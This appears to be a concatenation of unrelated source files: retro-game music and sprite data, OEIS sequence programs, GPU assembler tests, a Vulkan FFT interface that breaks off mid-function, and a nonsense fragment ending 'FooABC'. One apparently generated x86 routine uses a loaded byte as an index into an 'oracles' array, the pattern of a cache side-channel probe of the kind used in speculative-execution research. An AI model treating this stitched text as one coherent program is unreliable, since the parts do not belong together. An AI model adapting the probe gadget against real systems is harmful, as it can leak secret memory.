musicheader 1, 2, Music_BugCatchingContest_Ch2
musicheader 1, 3, Music_BugCatchingContest_Ch3
musicheader 1, 4, Music_BugCatchingContest_Ch4
Music_BugCatchingContest_Ch1:
tempo 144
volume $77
stereopanning $f
vibrato $8, $24
dutycycle $2
notetype $c, $b7
note __, 8
octave 4
note C#, 1
note __, 1
note C#, 3
note __, 1
note C#, 1
note C#, 1
note D_, 1
note __, 1
note D_, 3
note __, 1
note D_, 1
note D_, 1
note D#, 1
note __, 1
note D#, 3
note __, 1
note D#, 1
note D#, 1
note E_, 1
note __, 1
note E_, 3
note __, 1
note E_, 1
note E_, 1
Music_BugCatchingContest_branch_f7c4b:
notetype $c, $b1
Music_BugCatchingContest_branch_f7c4e:
note __, 2
octave 2
note A_, 2
loopchannel 4, Music_BugCatchingContest_branch_f7c4e
Music_BugCatchingContest_branch_f7c55:
note __, 2
note B_, 2
loopchannel 8, Music_BugCatchingContest_branch_f7c55
intensity $b4
dutycycle $1
octave 3
note B_, 6
note A_, 1
note B_, 1
note A_, 6
octave 4
note D_, 1
note E_, 1
intensity $b1
dutycycle $2
Music_BugCatchingContest_branch_f7c6b:
note __, 2
octave 2
note A_, 2
loopchannel 4, Music_BugCatchingContest_branch_f7c6b
note __, 2
note B_, 2
note __, 2
note B_, 2
notetype $6, $b7
octave 4
note E_, 4
note __, 1
octave 3
note B_, 1
octave 4
note E_, 1
note G_, 1
note B_, 8
octave 5
note E_, 8
intensity $b1
note __, 4
octave 2
note B_, 4
note __, 4
octave 3
note E_, 4
note __, 4
note E_, 4
Music_BugCatchingContest_branch_f7c8e:
note __, 4
octave 2
note A_, 4
loopchannel 3, Music_BugCatchingContest_branch_f7c8e
intensity $a7
octave 4
note F#, 4
note A_, 4
note __, 4
octave 3
note G_, 2
note B_, 2
octave 4
note D_, 2
note __, 2
octave 3
note B_, 2
note G_, 2
octave 4
note G_, 1
note A_, 1
note G_, 1
note A_, 1
note G_, 1
note A_, 1
note G_, 1
note A_, 1
note G_, 8
note __, 4
octave 3
note F#, 2
note A_, 2
octave 4
note D_, 2
note __, 2
octave 3
note A_, 2
note F#, 2
octave 4
note F#, 1
note G_, 1
note F#, 1
note G_, 1
note F#, 1
note G_, 1
note F#, 1
note G_, 1
note F#, 8
note D_, 2
note __, 2
octave 3
note B_, 2
note G_, 2
octave 4
note G_, 2
note __, 2
note D_, 2
octave 3
note B_, 2
octave 4
note B_, 2
note __, 2
note G#, 2
note D_, 2
octave 3
note B_, 2
octave 4
note D_, 2
note G#, 2
note B_, 2
note C#, 2
note __, 2
note C#, 6
note __, 2
note C#, 2
note C#, 2
note D_, 2
note __, 2
note D_, 6
note __, 2
note D_, 2
note D_, 2
note D#, 2
note __, 2
note D#, 6
note __, 2
note D#, 2
note D#, 2
note E_, 2
note __, 2
note E_, 6
note __, 2
note E_, 2
note E_, 2
loopchannel 0, Music_BugCatchingContest_branch_f7c4b
Music_BugCatchingContest_Ch2:
stereopanning $f0
vibrato $8, $23
dutycycle $1
notetype $c, $c7
note __, 8
Music_BugCatchingContest_branch_f7cff:
octave 4
note A_, 1
note __, 1
note A_, 3
note __, 1
note A_, 1
note A_, 1
loopchannel 4, Music_BugCatchingContest_branch_f7cff
Music_BugCatchingContest_branch_f7d0a:
dutycycle $0
callchannel Music_BugCatchingContest_branch_f7d8e
octave 2
note E_, 2
octave 3
note G_, 1
note __, 1
octave 1
note B_, 2
octave 3
note G_, 1
note __, 1
octave 2
note E_, 2
octave 3
note G_, 1
note __, 1
octave 2
note G_, 2
octave 3
note G_, 1
note __, 1
octave 2
note A_, 2
octave 3
note A_, 1
note __, 1
octave 2
note G#, 2
octave 3
note G#, 1
note __, 1
octave 2
note G_, 2
octave 3
note G_, 1
note __, 1
octave 2
note E_, 2
octave 3
note E_, 1
note __, 1
callchannel Music_BugCatchingContest_branch_f7d8e
octave 2
note E_, 2
octave 3
note G_, 1
note __, 1
octave 1
note B_, 2
octave 3
note G_, 1
note __, 1
octave 2
note A_, 2
octave 4
note C#, 1
note __, 1
octave 2
note E_, 2
octave 4
note C#, 1
note __, 1
octave 2
note D_, 2
octave 3
note F#, 1
note __, 1
octave 1
note A_, 2
octave 3
note F#, 1
note __, 1
octave 1
note B_, 2
octave 3
note F#, 1
note __, 1
octave 2
note D#, 2
octave 3
note A_, 1
note __, 1
dutycycle $0
note __, 2
octave 5
note D_, 1
note __, 1
note C#, 2
note D_, 1
note __, 1
octave 4
note B_, 8
note __, 2
octave 5
note D_, 1
note __, 1
note C#, 2
note D_, 1
note __, 1
octave 4
note A_, 8
note __, 2
octave 5
note D_, 4
note F#, 2
note E_, 2
note D_, 1
note __, 1
note C#, 2
note D_, 1
note __, 1
note E_, 1
note __, 1
note E_, 1
note __, 3
note E_, 10
note A_, 1
note __, 1
note A_, 1
note __, 3
note A_, 10
loopchannel 0, Music_BugCatchingContest_branch_f7d0a
Music_BugCatchingContest_branch_f7d8e:
octave 2
note D_, 2
octave 3
note F#, 1
note __, 1
octave 1
note A_, 2
octave 3
note F#, 1
note __, 1
octave 1
note B_, 2
octave 3
note F#, 1
note __, 1
octave 2
note C#, 2
octave 3
note F#, 1
note __, 1
octave 2
note E_, 2
octave 3
note G_, 1
note __, 1
octave 1
note B_, 2
octave 3
note G_, 1
note __, 1
octave 2
note C#, 2
octave 3
note G_, 1
note __, 1
octave 2
note D#, 2
octave 3
note G_, 1
note __, 1
endchannel
Music_BugCatchingContest_Ch3:
stereopanning $ff
vibrato $10, $23
notetype $c, $14
note __, 8
octave 3
note A_, 1
note __, 1
note A_, 3
note __, 1
note A_, 1
note A_, 1
note B_, 1
note __, 1
note B_, 3
note __, 1
note B_, 1
note B_, 1
octave 4
note C_, 1
note __, 1
note C_, 3
note __, 1
note C_, 1
note C_, 1
note C#, 1
note __, 1
note C#, 3
note __, 1
note C#, 1
note C#, 1
Music_BugCatchingContest_branch_f7dda:
notetype $c, $14
note F#, 5
note __, 1
note F#, 1
note G_, 1
note A_, 4
octave 5
note D_, 4
note C#, 2
intensity $10
note E_, 1
note G_, 1
note B_, 1
note __, 1
note G_, 1
note E_, 1
notetype $6, $20
octave 6
note E_, 1
note F#, 1
note E_, 1
note F#, 1
note E_, 1
note F#, 1
note E_, 1
note F#, 1
note E_, 8
intensity $14
octave 4
note E_, 10
note __, 2
note E_, 2
note F#, 2
note G_, 8
octave 5
note C#, 8
note __, 4
intensity $10
note E_, 2
note G_, 2
note A_, 2
note __, 2
note E_, 2
note C_, 2
octave 6
note C#, 1
note D_, 1
note C#, 1
note D_, 1
note C#, 1
note D_, 1
note C#, 1
note D_, 1
note C#, 8
intensity $15
octave 5
note F#, 4
note __, 4
note G_, 4
note __, 4
note A_, 4
note __, 4
octave 6
note D_, 4
note __, 4
note C#, 12
octave 5
note B_, 2
octave 6
note C#, 2
octave 5
note B_, 4
note __, 4
octave 6
note G_, 4
note F#, 4
note __, 4
octave 5
note G_, 4
note A_, 4
note B_, 4
octave 6
note E_, 4
note D_, 4
note C#, 4
octave 5
note B_, 2
octave 6
note C#, 2
note D_, 4
note __, 8
octave 5
note B_, 4
note A_, 4
note __, 1
note D#, 1
note F#, 1
note A_, 1
octave 6
note C_, 8
octave 3
note G_, 2
note __, 2
note B_, 2
note __, 2
note D_, 2
note __, 2
note B_, 2
note __, 2
note E_, 2
note __, 2
note B_, 2
note __, 2
note G_, 2
note __, 2
note B_, 2
note __, 2
note D_, 2
note __, 2
note F#, 2
note __, 2
octave 2
note A_, 2
note __, 2
octave 3
note F#, 2
note __, 2
note D#, 2
note __, 2
octave 4
note C_, 2
note __, 2
octave 3
note A_, 2
note __, 2
octave 4
note C_, 2
note __, 2
octave 3
note G_, 2
note __, 2
note B_, 2
note __, 2
note D_, 2
note __, 2
note B_, 2
note __, 2
note G#, 2
note __, 2
note B_, 2
note __, 2
note E_, 2
note __, 2
note B_, 2
note __, 2
note A_, 2
note __, 2
note A_, 6
note __, 2
note A_, 2
note A_, 2
note B_, 2
note __, 2
note B_, 6
note __, 2
note B_, 2
note B_, 2
octave 4
note C_, 2
note __, 2
note C_, 6
note __, 2
note C_, 2
note C_, 2
note C#, 2
note __, 2
note C#, 6
note __, 2
note C#, 2
note C#, 2
loopchannel 0, Music_BugCatchingContest_branch_f7dda
Music_BugCatchingContest_Ch4:
togglenoise $4
notetype $6
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note E_, 2
note E_, 2
callchannel Music_BugCatchingContest_branch_f7ee2
Music_BugCatchingContest_branch_f7eaf:
note D_, 4
note D_, 4
note D_, 2
note C#, 2
note D_, 2
note C#, 2
note D_, 4
note D_, 4
note D_, 2
note C#, 2
note D_, 2
note C#, 2
note D_, 4
note D_, 4
note D_, 2
note C#, 2
note D_, 2
note C#, 2
note D_, 4
note D_, 4
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
note C#, 1
loopchannel 5, Music_BugCatchingContest_branch_f7eaf
note D_, 4
note D_, 4
note D_, 2
note D_, 2
note D_, 2
note D_, 2
note D_, 4
note D_, 4
note D_, 2
note D_, 2
note D_, 2
note D_, 2
callchannel Music_BugCatchingContest_branch_f7ee2
loopchannel 0, Music_BugCatchingContest_branch_f7eaf
Music_BugCatchingContest_branch_f7ee2:
note D_, 4
note B_, 8
note D_, 2
note D_, 2
note D_, 4
note B_, 8
note D_, 2
note D_, 2
note D_, 4
note B_, 8
note D_, 2
note D_, 2
note D_, 4
note B_, 8
note D_, 2
note D_, 2
endchannel
|
@$
A=D
D=A
M=D
FooABC |
; A139245: a(n) = 20*n - 16.
; 4,24,44,64,84,104,124,144,164,184,204,224,244,264,284,304,324,344,364,384,404,424,444,464,484,504,524,544,564,584,604,624,644,664,684,704,724,744,764,784,804,824,844,864,884,904,924,944,964,984,1004,1024,1044,1064,1084,1104,1124,1144,1164,1184,1204,1224,1244,1264,1284,1304,1324,1344,1364,1384,1404,1424,1444,1464,1484,1504,1524,1544,1564,1584,1604,1624,1644,1664,1684,1704,1724,1744,1764,1784,1804,1824,1844,1864,1884,1904,1924,1944,1964,1984,2004,2024,2044,2064,2084,2104,2124,2144,2164,2184,2204,2224,2244,2264,2284,2304,2324,2344,2364,2384,2404,2424,2444,2464,2484,2504,2524,2544,2564,2584,2604,2624,2644,2664,2684,2704,2724,2744,2764,2784,2804,2824,2844,2864,2884,2904,2924,2944,2964,2984,3004,3024,3044,3064,3084,3104,3124,3144,3164,3184,3204,3224,3244,3264,3284,3304,3324,3344,3364,3384,3404,3424,3444,3464,3484,3504,3524,3544,3564,3584,3604,3624,3644,3664,3684,3704,3724,3744,3764,3784,3804,3824,3844,3864,3884,3904,3924,3944,3964,3984,4004,4024,4044,4064,4084,4104,4124,4144,4164,4184,4204,4224,4244,4264,4284,4304,4324,4344,4364,4384,4404,4424,4444,4464,4484,4504,4524,4544,4564,4584,4604,4624,4644,4664,4684,4704,4724,4744,4764,4784,4804,4824,4844,4864,4884,4904,4924,4944,4964,4984
mov $1,$0
mul $1,20
add $1,4
|
(+f0.0) if(8) JIP: LABEL0 { align16 1Q };
LABEL0:
(+f0.0) if(8) JIP: LABEL1 { align1 1Q };
(+f0.0) if(16) JIP: LABEL1 { align1 1H };
(+f0.0.x) if(8) JIP: LABEL1 { align16 1Q };
(-f0.0) if(8) JIP: LABEL1 { align1 1Q };
(-f0.0) if(16) JIP: LABEL1 { align1 1H };
LABEL1:
|
; A074558: a(n) = 3^n + 7^n + 8^n.
; Submitted by Christian Krause
; 3,18,122,882,6578,49818,380522,2922882,22548578,174591018,1356276122,10567438482,82561295378,646646418618,5076274366922,39931947947682,314707950326978,2484430456812618,19642812494812922,155514084423490482,1232713774391243378,9781917911398413018,77696797374802254122,617664557792929746882,4913947714532641164578,39120000483468415219818,311618935243846913810522,2483564001600418227036882,19802799650401683548730578,157962410666554344466593018,1260479379576278424119082122,10061295696318505679204320482
mov $3,$0
seq $0,74523 ; a(n) = 1^n + 7^n + 8^n.
sub $0,1
mov $2,3
pow $2,$3
add $0,$2
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %rcx
lea addresses_UC_ht+0x42fd, %r8
nop
nop
nop
nop
nop
xor %r13, %r13
mov (%r8), %ecx
and $43026, %r14
pop %rcx
pop %r8
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r8
push %r9
push %rax
push %rbp
push %rsi
// Store
lea addresses_D+0xcfd, %r14
nop
nop
sub %rax, %rax
mov $0x5152535455565758, %r9
movq %r9, (%r14)
nop
add %r8, %r8
// Faulty Load
lea addresses_UC+0xffd, %rbp
nop
nop
sub %rsi, %rsi
movb (%rbp), %r9b
lea oracles, %rsi
and $0xff, %r9
shlq $12, %r9
mov (%rsi,%r9,1), %r9
pop %rsi
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_D', 'AVXalign': False, 'size': 8}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A132592: X-values of solutions to the equation X*(X + 1) - 8*Y^2 = 0.
; 0,8,288,9800,332928,11309768,384199200,13051463048,443365544448,15061377048200,511643454094368,17380816062160328,590436102659356800,20057446674355970888,681362750825443653408,23146276081390728245000,786292024016459316676608,26710782540478226038759688,907380314352243226001152800,30824219905435791458000435528,1047116096470464666346013655168,35571123060090362864306463840200,1208371067946601872720073756911648,41049045187124373309618201271155848
seq $0,3499 ; a(n) = 6*a(n-1) - a(n-2), with a(0) = 2, a(1) = 6.
pow $0,2
sub $0,4
div $0,4
|
dc.w word_26A04-Map_LBZUnusedUnknown_2
dc.w word_26A1E-Map_LBZUnusedUnknown_2
dc.w word_26A38-Map_LBZUnusedUnknown_2
dc.w word_26A58-Map_LBZUnusedUnknown_2
dc.w word_26A72-Map_LBZUnusedUnknown_2
word_26A04: dc.w 4
dc.b $E8, 7, 0, $10, $FF, $F0
dc.b $E8, 7, 8, $10, 0, 0
dc.b 8, 4, 0, $18, $FF, $F0
dc.b 8, 4, 8, $18, 0, 0
word_26A1E: dc.w 4
dc.b $F0, 6, 0, $1A, $FF, $F0
dc.b $E8, 7, 0, $20, 0, 0
dc.b 8, 4, 0, $18, $FF, $F0
dc.b 8, 4, 8, $18, 0, 0
word_26A38: dc.w 5
dc.b $E8, 4, 0, $28, 0, 8
dc.b $F0, 6, 0, $2A, $FF, $F0
dc.b 8, 4, 0, $18, $FF, $F0
dc.b $F0, 7, 0, $30, 0, 0
dc.b $F0, 0, 0, $38, 0, $10
word_26A58: dc.w 4
dc.b $F0, 6, 8, $1A, 0, 0
dc.b $E8, 7, 8, $20, $FF, $F0
dc.b 8, 4, 8, $18, 0, 0
dc.b 8, 4, 0, $18, $FF, $F0
word_26A72: dc.w 5
dc.b $E8, 4, 8, $28, $FF, $E8
dc.b $F0, 6, 8, $2A, 0, 0
dc.b 8, 4, 8, $18, 0, 0
dc.b $F0, 7, 8, $30, $FF, $F0
dc.b $F0, 0, 8, $38, $FF, $E8
|
/* Copyright (C) 2018 Hans-Kristian Arntzen <maister@archlinux.us>
*
* Permission is hereby granted, free of charge,
* to any person obtaining a copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,
* and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include "glfft_granite_interface.hpp"
#include "command_buffer.hpp"
#include "device.hpp"
#include "timer.hpp"
#include "compiler.hpp"
#include <stdarg.h>
using namespace std;
namespace Granite
{
struct FFTProgram : GLFFT::Program
{
Vulkan::Program *program;
};
struct FFTSampler : GLFFT::Sampler
{
explicit FFTSampler(const Vulkan::Sampler &sampler_)
: sampler(sampler_)
{
}
const Vulkan::Sampler &sampler;
};
void FFTDeferredCommandBuffer::ensure_command_list()
{
if (command_counter >= commands.size())
commands.resize(command_counter + 1);
}
vector<function<void (Vulkan::CommandBuffer &)>> &FFTDeferredCommandBuffer::get_command_list()
{
ensure_command_list();
return commands[command_counter];
}
void FFTDeferredCommandBuffer::push_constant_data(const void *data, size_t size)
{
std::vector<uint8_t> buffer(static_cast<const uint8_t *>(data), static_cast<const uint8_t *>(data) + size);
get_command_list().push_back([buffer = move(buffer)](Vulkan::CommandBuffer &cmd) {
cmd.push_constants(buffer.data(), 0, buffer.size());
});
}
void FFTDeferredCommandBuffer::barrier()
{
command_counter++;
}
void FFTDeferredCommandBuffer::dispatch(unsigned x, unsigned y, unsigned z)
{
get_command_list().push_back([=](Vulkan::CommandBuffer &cmd) {
cmd.dispatch(x, y, z);
});
}
void FFTDeferredCommandBuffer::bind_storage_buffer(unsigned binding, GLFFT::Buffer *buffer)
{
get_command_list().push_back(
[binding, buffer = static_cast<FFTBuffer *>(buffer)->buffer](Vulkan::CommandBuffer &cmd) {
cmd.set_storage_buffer(0, binding, *buffer);
});
}
void FFTDeferredCommandBuffer::bind_program(GLFFT::Program *program)
{
get_command_list().push_back(
[program = static_cast<FFTProgram *>(program)->program](Vulkan::CommandBuffer &cmd) {
cmd.set_program(program);
});
}
void FFTDeferredCommandBuffer::bind_storage_texture(unsigned binding, GLFFT::Texture *texture)
{
get_command_list().push_back(
[binding, image = static_cast<FFTTexture *>(texture)->image](Vulkan::CommandBuffer &cmd) {
cmd.set_storage_texture(0, binding, *image);
});
}
void FFTDeferredCommandBuffer::bind_texture(unsigned binding, GLFFT::Texture *texture)
{
get_command_list().push_back(
[binding, image = static_cast<FFTTexture *>(texture)->image](Vulkan::CommandBuffer &cmd) {
cmd.set_texture(0, binding, *image,
Vulkan::StockSampler::NearestClamp);
});
}
void FFTDeferredCommandBuffer::bind_sampler(unsigned binding, GLFFT::Sampler *sampler)
{
if (sampler)
{
get_command_list().push_back(
[binding, sampler = &static_cast<FFTSampler *>(sampler)->sampler](Vulkan::CommandBuffer &cmd)
{
cmd.set_sampler(0, binding, *sampler);
});
}
}
void FFTDeferredCommandBuffer::bind_storage_buffer_range(unsigned binding, size_t offset, size_t length,
GLFFT::Buffer *buffer)
{
get_command_list().push_back(
[=, buffer = static_cast<FFTBuffer *>(buffer)->buffer](Vulkan::CommandBuffer &cmd) {
cmd.set_storage_buffer(0, binding, *buffer, offset, length);
});
}
void FFTDeferredCommandBuffer::build(Vulkan::CommandBuffer &cmd)
{
for (auto &list : commands)
{
for (auto &c : list)
c(cmd);
cmd.barrier(VK_PIPELINE_STAGE_COMPUTE_SHADER_BIT, VK_ACCESS_SHADER_WRITE_BIT,
VK_PIPELINE_STAGE_COMPUTE_SHADER_BIT, VK_ACCESS_SHADER_READ_BIT);
}
}
void FFTDeferredCommandBuffer::reset_command_counter()
{
command_counter = 0;
}
void FFTDeferredCommandBuffer::reset()
{
reset_command_counter();
commands.clear();
}
void FFTCommandBuffer::push_constant_data(const void *data, size_t size)
{
if (cmd)
cmd->push_constants(data, 0, size);
}
void FFTCommandBuffer::barrier()
{
if (cmd)
{
cmd->barrier(VK_PIPELINE_STAGE_COMPUTE_SHADER_BIT, VK_ACCESS_SHADER_WRITE_BIT,
VK_PIPELINE_STAGE_COMPUTE_SHADER_BIT, VK_ACCESS_SHADER_READ_BIT);
}
}
void FFTCommandBuffer::bind_program(GLFFT::Program *program)
{
if (cmd)
cmd->set_program(static_cast<FFTProgram *>(program)->program);
}
void FFTCommandBuffer::bind_sampler(unsigned binding, GLFFT::Sampler *sampler)
{
if (cmd && sampler)
cmd->set_sampler(0, binding, static_cast<FFTSampler *>(sampler)->sampler);
}
void FFTCommandBuffer::bind_storage_texture(unsigned binding, GLFFT::Texture *texture)
{
if (cmd)
cmd->set_storage_texture(0, binding, *static_cast<FFTTexture *>(texture)->image);
}
void FFTCommandBuffer::bind_texture(unsigned binding, GLFFT::Texture *texture)
{
if (cmd)
{
cmd->set_texture(0, binding, *static_cast<FFTTexture *>(texture)->image,
Vulkan::StockSampler::NearestClamp);
}
}
void FFTCommandBuffer::bind_storage_buffer(unsigned binding, GLFFT::Buffer *buffer)
{
if (cmd)
cmd->set_storage_buffer(0, binding, *static_cast<FFTBuffer *>(buffer)->buffer);
}
void FFTCommandBuffer::bind_storage_buffer_range(unsigned binding, size_t offset, size_t range, GLFFT::Buffer *buffer)
{
if (cmd)
cmd->set_storage_buffer(0, binding, *static_cast<FFTBuffer *>(buffer)->buffer, offset, range);
}
void FFTCommandBuffer::dispatch(unsigned x, unsigned y, unsigned z)
{
if (cmd)
cmd->dispatch(x, y, z);
}
const void *FFTInterface::map(GLFFT::Buffer *buffer_, size_t offset, size_t)
{
auto *buffer = static_cast<FFTBuffer *>(buffer_);
return static_cast<uint8_t *>(device->map_host_buffer(*buffer->buffer, Vulkan::MEMORY_ACCESS_READ_BIT)) + offset;
}
void FFTInterface::wait_idle()
{
device->wait_idle();
}
unique_ptr<GLFFT::Buffer> FFTInterface::create_buffer(const void *initial_data, size_t size, GLFFT::AccessMode access)
{
Vulkan::BufferCreateInfo info = {};
info.size = size;
info.usage = VK_BUFFER_USAGE_STORAGE_BUFFER_BIT;
info.domain =
access == GLFFT::AccessMode::AccessStreamRead ? Vulkan::BufferDomain::CachedHost : Vulkan::BufferDomain::Device;
auto buffer = make_unique<FFTBuffer>(device->create_buffer(info, initial_data));
return unique_ptr<GLFFT::Buffer>(move(buffer));
}
unique_ptr<GLFFT::Texture> FFTInterface::create_texture(const void *initial_data, unsigned width, unsigned height,
GLFFT::Format format)
{
VkFormat fmt = VK_FORMAT_UNDEFINED;
switch (format)
{
case GLFFT::Format::FormatR16Float:
fmt = VK_FORMAT_R16_SFLOAT;
break;
case GLFFT::Format::FormatR16G16Float:
fmt = VK_FORMAT_R16G16_SFLOAT;
break;
case GLFFT::Format::FormatR16G16B16A16Float:
fmt = VK_FORMAT_R16G16B16A16_SFLOAT;
break;
case GLFFT::Format::FormatR32Float:
fmt = VK_FORMAT_R32_SFLOAT;
break;
case GLFFT::Format::FormatR32G32Float:
fmt = VK_FORMAT_R32G32_SFLOAT;
break;
case GLFFT::Format::FormatR32G32B32A32Float:
fmt = VK_FORMAT_R32G32B32A32_SFLOAT;
break;
default:
return {};
}
auto info = Vulkan::ImageCreateInfo::immutable_2d_image(width, height, fmt);
info.usage = VK_IMAGE_USAGE_STORAGE_BIT | VK_IMAGE_USAGE_SAMPLED_BIT;
info.initial_layout = VK_IMAGE_LAYOUT_GENERAL;
Vulkan::ImageInitialData init = {};
init.data = initial_data;
auto image = make_unique<FFTTexture>(device->create_image(info, initial_data ? &init : nullptr));
image->image_holder->set_layout(Vulkan::Layout::General);
return unique_ptr<GLFFT::Texture>(move(image));
}
unsigned FFTInterface::get_max_work_group_threads()
{
return device->get_gpu_properties().limits.maxComputeWorkGroupInvocations;
}
unsigned FFTInterface::get_max_shared_memory_size()
{
return device->get_gpu_properties().limits.maxComputeSharedMemorySize;
}
uint32_t FFTInterface::get_vendor_id()
{
return device->get_gpu_properties().vendorID;
}
uint32_t FFTInterface::get_product_id()
{
return device->get_gpu_properties().deviceID;
}
double FFTInterface::get_time()
{
return Util::get_current_time_nsecs() * 1e-9;
}
bool FFTInterface::supports_texture_readback()
{
return true;
}
unique_ptr<GLFFT::Program> FFTInterface::compile_compute_shader(const char *source)
{
Util::Hasher hasher;
hasher.string(source);
Util::Hash hash = hasher.get();
Util::Hash shader_hash;
Vulkan::Shader *shader = nullptr;
if (device->get_shader_manager().get_shader_hash_by_variant_hash(hash, shader_hash))
shader = device->request_shader_by_hash(shader_hash);
if (!shader)
{
// We don't have a shader, need to compile in runtime :(
GLSLCompiler compiler;
compiler.set_source(source, "compute.glsl");
if (!compiler.preprocess())
return {};
compiler.set_stage(Stage::Compute);
auto spirv = compiler.compile();
if (spirv.empty())
{
LOGE("GLFFT: error: \n%s\n", compiler.get_error_message().c_str());
return {};
}
shader = device->request_shader(spirv.data(), spirv.size() * sizeof(uint32_t));
// Register this mapping for next time, hopefully ... :)
device->get_shader_manager().register_shader_hash_from_variant_hash(hash, shader->get_hash());
}
Vulkan::Program *program = device->request_program(shader);
auto prog = make_unique<FFTProgram>();
prog->program = program;
return unique_ptr<GLFFT::Program>(move(prog));
}
void FFTInterface::unmap(GLFFT::Buffer *buffer_)
{
auto *buffer = static_cast<FFTBuffer *>(buffer_);
device->unmap_host_buffer(*buffer->buffer, Vulkan::MEMORY_ACCESS_READ_BIT);
}
void FFTInterface::log(const char *fmt, ...)
{
va_list va;
